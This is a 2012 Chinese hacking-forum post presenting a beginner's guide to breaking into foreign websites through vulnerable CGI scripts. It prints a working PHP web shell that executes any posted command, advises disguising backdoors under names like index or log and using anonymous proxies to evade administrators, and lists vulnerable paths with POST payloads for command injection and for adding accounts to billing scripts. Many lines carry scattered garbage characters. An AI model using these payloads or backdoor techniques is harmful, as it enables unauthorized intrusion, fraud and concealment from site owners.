中国网络渗透测试联盟

标题: CGI 脚本入侵快速上手+脚本使用方法 [打印本页]

作者: admin    时间: 2012-9-13 16:54
标题: CGI 脚本入侵快速上手+脚本使用方法
CGI 脚本入侵快速上手+脚本使用方法* q2 C! h" Q8 \5 c8 ~
大家好 我是bboyhip  只是一名菜菜的exploiter  ]8 [1 |8 W' S) ]
很开心来到贵论坛2 ]) y. z4 h$ h- b
这里让我感觉 很有技术交流的感觉
- u9 L  u% ?. B1 v我会长长来玩的# y' y( ?) P1 E( O
前言:
: R$ h5 O0 E) F' @; A以下讲解针对欧美日本网站( y3 P6 G  w& `: L
當我們在做滲透分析的時候 方法有很多, C2 \; @; Y! s4 ]) b& A
我门都知道 国外伺服器大多是linux 平台
- m0 |. Y- l, f' [: n; f所以有很多网站程序有6成都会使用cgi 脚本来管理8 X; X# K9 F+ Y% B
目录为/cgi-bin// p) v1 v/ q5 y8 P: _% j, L- }3 n

2 Z7 m/ q. q0 C  l( X' |只是个人在实务上一些经验
) I0 h! Q" P" ~. K: e7 w. V3 m1 D2 E写的不好 请多多见谅喔
0 F% F6 ?0 ]9 q! A( ~9 I! X; X在这里我简单分为几个部份一定要會的
0 s1 Y0 N0 k6 h" m4 K' U讲解一下4 I$ s+ `" s' m4 t( s6 m
让没有基础的人很容易上手  U5 h- i8 r6 b9 ?# c

- g) h5 P( w" ]) w, c以下内容跟帖回复才能看到( h; Z$ T4 N6 b, E! O
==============================
4 r( \+ L8 o9 `2 I# ?: V+ Y) u
5 K# x, G% d7 l7 F8 Q* A3 V第1部份: 何谓Shell?
5 _8 c* F2 ]/ i. m1 [4 X3 R6 NShell的中文, 可称为 "壳".  Shell 是一个比较复杂的概念, 先看比较传统的解释:! b/ a! i7 K. y; v0 `" A& Z
A shell is the program which reads user input from the command line and executes actions based upon that input.
3 g5 Z" Q4 p1 ?0 v/ B$ w6 o, i意思是, 通过应用程式(shell), 用户输入指令, 由系统执行该指令.
+ U! q0 F. l6 c* P2 q( k3 C
* v# P; G+ f4 J# f: L) f# {对於黑客来说, shell是後门, 是入侵/ 控制/ 浏览对方系统的程式/ 方法.  
+ P1 ~" @& s! B& h% r要自行建立一个shell是十分困难的, 因为要先找漏洞, 找到後, 利用该漏洞来写入档案/ 後门.  大家都知道, 有些漏洞只可加码, 有些可读档, 但可以写档的不多.  在数年前, 有一个十分流行及易用的漏洞addpasswd.cgi, 可以写後门, 但时至今日, 绝大部份的addpasswd.cgi已经被删除.) O6 p4 c( ^) d7 l7 T3 M# m9 e
所以, 对於入门的exploiter来说, 先收集别人的後门, 多多练习, 然後再学习做自己的shell.
6 }5 ]: J6 |  y7 W" N4 U" o8 B$ c
% s2 P4 h- V4 m3 q第2部份: Unix 指令" T& D# a6 a7 r! r9 ]+ L, J" k* l
以下是一些常见及重要的指令:0 `6 [- I! Z3 w- ]
pwd: 显示当前目录, 即是後门/程式所在的位置& R* U9 u! _! x5 w) N" \, C
如 /home/www/site.com/cgi-bin/
" d0 g0 \: ?) _ls: 列出档案 (-a 包含隐藏档; -l 包含详细资料).  
0 o- F' X7 r! t6 j  p3 t' Ols -al :详细列出档案资料(当前目录)+ V5 z1 {# A( o) d
ls /: 列出根目录
5 m; v# q# F; p" Q: ~( O0 rls /etc: 列出/etc的资料夹及档案
4 T9 O6 v) e$ als ../ -al: 详细列出上一层的资料夹及档案' y2 ?3 R" H3 S
cat: 显示档案内容5 e4 m, I5 A5 Y, [6 O6 |
cat .htpasswd: 显示 .htpasswd 这个档案的内容(当前目录)/ ?3 {! k% s3 V
cat /etc/passwd: 显示 /etc/passwd 这个档案的内容
3 f- ]- @5 e% rwho: 显示谁login 至系统
' p% J0 n1 Z& H$ Y) ~man: 显示指令用法  
; _( Z/ |" ]$ A3 T# T3 A$ }" Kman ls: 显示ls这指令的用法  ( R! @2 j3 d+ L0 u! `1 J( g
mkdir 建立目录7 E+ d+ M; }" @" ?( e' w
rmdir 删除目录
) t( o! t7 o9 a' E% _$ ?) @5 Pmv 移动档案
# ]: g9 Y, u$ m' o3 wrm 删除档案8 y$ ?; u6 U0 m: N7 C% T8 ~2 ~+ V
. q6 u8 ?2 ?, ]
第3部份: Shell的使用: d- x- ?- N/ n0 _
例如:
$ A4 _8 F( W* |# h/ A6 \http://site.com/refer.php0 B3 x4 p& R" m
这是我的後门, 原代码如下:( h5 K" ^) g, T
<Form Action="#" Method="POST">
& P2 a/ P3 |/ \7 C<Input type="text" name="cmd">
; @! h, x! \( g3 ]: X<Input type="Submit"> # a0 m( K2 D' G& V6 V7 u
</Form>
! ]" y$ N! ^# W- Z<?php
# i! I5 K- }9 L1 `; K$cmd = $_POST['cmd']; 5 g4 k" y+ q# t+ p" a' w5 d
$Output = shell_exec($cmd); * S( [* f6 C9 j  y( u( ]
echo $Output;
5 Y' ~7 v8 o  `6 D: I& }?>
7 z7 n5 K! b! \输入pwd, 可得到绝对路径:4 |  F* J+ L2 |1 |* Y3 A( ~3 j/ r  ^* U7 n
/home/htdocs/users/jnesbitt/jnesbitt/nylonfantasies.com5 }8 b+ {  w0 E; s, H2 Q
6 k& z" @+ Y( q
第4部份: 注意事项
; o5 U7 C/ c2 E  ~- 使用匿名代理, 保障自己: P! ~8 c& Q6 N4 w  c
- 不可恶意破坏, 或更改现有档案, 否则管理员发现了, 不但会删除後门, 可能会有追究行动
2 o- Q( a" V7 S0 m1 G- 加後门前, 必须了解目标系统是否支援.  例如, cgi後门, 应放在cgi-bin; 有些系统可能不支援 php後门等.4 }& c- z) l8 [
- 加後门前 (如 index.php), 先检查是否已存在该档案名称, 以免覆盖原有档案, 造成破坏.
0 t' S9 L. ~: |: N! E2 b# c0 L: D- 後门的名称, 不可使用hack, crack, exploit等字眼, 最好使用index, index1, log, login, refer, tmp, test, info等, 鱼目混珠,
3 _/ j3 r) F& H7 a' _不容易被发现.# N% [) a. F3 b  j
- 将後门放在比较隐闭的地方 (例如 /cgi-bin/内, 有很多cgi档案, 比较少php档案)8 U% i3 n$ y: l6 m. f0 ^+ D
针对网站的渗透分析方法太多了% Z1 `# Z  L: W; I. o0 G6 U; V
这篇文章的重点是cgi 脚本攻击
  f5 H1 Y9 ~9 U) y9 K& c所以我用简单的叙述形容3 k4 j) \5 N1 P  }: c. A
开始讲解脚本入侵过程:) H  q: `+ u8 I7 g1 H
在这里提供一些方法思路让大家学习一下" S6 q; s1 ?4 S- _8 ?, d

, X. n/ S& b3 v2 A1 m- \7 X1.一开始对一个网站进行cgi漏洞扫描
5 D, j& ^# p4 m* {; l0 x# J我们需要的东西有
+ ^; C, h) H& b; U" I) V$ \扫洞工具 如:triton..等等7 t6 j2 `+ O) ], V
E表
# P( R- J8 o& B/ g3 T  h
6 p% O2 k% h6 b% f/cgi-bin/add-passwd.cgi
& A+ e8 h" w5 G1 |' E/ \$ [/WebShop/templates/cc.txt7 h! h) H8 o0 u) J
/Admin_files/order.log' e9 @5 p/ m5 f, M# F% l
/orders/mountain.cfg
  x' o4 I2 J  r; A/cgi-sys/cart.pl
( a4 f2 ^' h5 N  L; l+ x/scripts/cart.pl/ e* }$ {! c3 V  z7 {0 |' M
/htbin/cart.pl8 l' {& h& j* Q
E表来源可以是网路收寻或是自己的0 day
, D! n2 \: `. f3 c
& c9 y/ m9 G! O: y2.怎样确认扫到的洞 是真的还假的?
( q* l: s1 Z! X0 M: G举例: target: http://www.site.com/cgi-bin/add-passwd.cgi" u$ V  f- `- n6 X" Q; p
一般都是在IE里先看一下的,记住这个返回码哦$ Z' M; F$ r( r7 t' i
ERROR:This script should be referenced with a METHOD of POST.+ r8 k" l5 v# |9 j+ }1 t" ~0 M: p& C
没有返回一定是假的
$ `; w8 y6 v/ [3.重来来了 很多人都会问我; T. F7 Y8 ~- @4 x6 I# d
他扫到很多洞 但是不会使用 + `* n+ W6 {0 D( d
因为这些漏洞 使用的语法 称为post
) g" p+ g  X7 j; \4 v& X我们要找post 的方法很多
" h& M7 y5 g0 Y$ I! S- P可以是源代码分析 找出介质  X- f+ h7 X& C% Y- o0 U# d$ G: |9 n
或是用抓包工具 抓他的语法...等等
) w# {# ]4 z2 z4 E1 s) A7 [8 ~8 J8 I. s" u3 q8 y& X1 h
以下我提供10个 cgi 洞以及使用方法post6 ^) W* l8 U2 ~8 G( ^
让大家可以针对网站去做扫描  . [8 e5 @" I9 `
/index.cgi
2 E! x5 _7 m8 t3 G: Dwei=ren&gen=command2 R0 r- [4 t. w4 Q+ X
/passmaster.cgi% k# H6 q% Y* {' M0 p
Action=Add&Username=Username&Password=Password1 L( Y# W% K  c/ C
/accountcreate.cgi5 K' p2 _$ C& ]  v1 I# Q% {0 ?
username=username&password=password&ref1=|echo;ls|+ U2 J5 R* s1 M8 G
/form.cgi* f4 L% H/ ]5 I$ i% w
name=xxxx&email=email&subject=xxxx&response=|echo;ls|- }! Z% k" C7 w
/addusr.pl" ?+ m8 b3 g' N) D
/cgi-bin/EuroDebit/addusr.pl
, P# s2 w/ I7 K3 J; T, Juser=username&pass=Password&confirm=Password
. ]' y) p6 U7 q# Z% O$ j4 o  R/ccbill-local.asp
, w9 ]: J0 y3 E4 S( G: _; Qpost_values=username:password: N* M$ B. B3 A0 B& _6 r& a/ j/ X$ Q
/count.cgi' Q4 S  M: F  F9 M4 E) e
pinfile=|echo;ls -la;exit|
9 J/ q! p" x; D  g. ?/recon.cgi
! x4 R' M1 B: S5 `2 U/ Q/recon.cgi?search
7 |" a/ L8 o1 l5 o$ F' g% [1 L. Zsearchoption=1&searchfor=|echo;ls -al;exit|
9 z' G, S+ F( p5 \* K/verotelrum.pl
) r# m; w4 a  U* E" Z/ r( D2 @1 Uvercode=username:password:dseegsow:add:amount<&30>
( `+ p2 c/ K5 [5 Q/af.cgi_browser_out=|echo;ls -la;exit;|0 h/ i4 z" F/ S7 B; @% n$ j4 E4 S6 g- W
/ O1 e4 r8 r& n) S4 t8 F, u
今天就讲到这  感谢大家支持
* h1 x1 Y6 y5 G




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2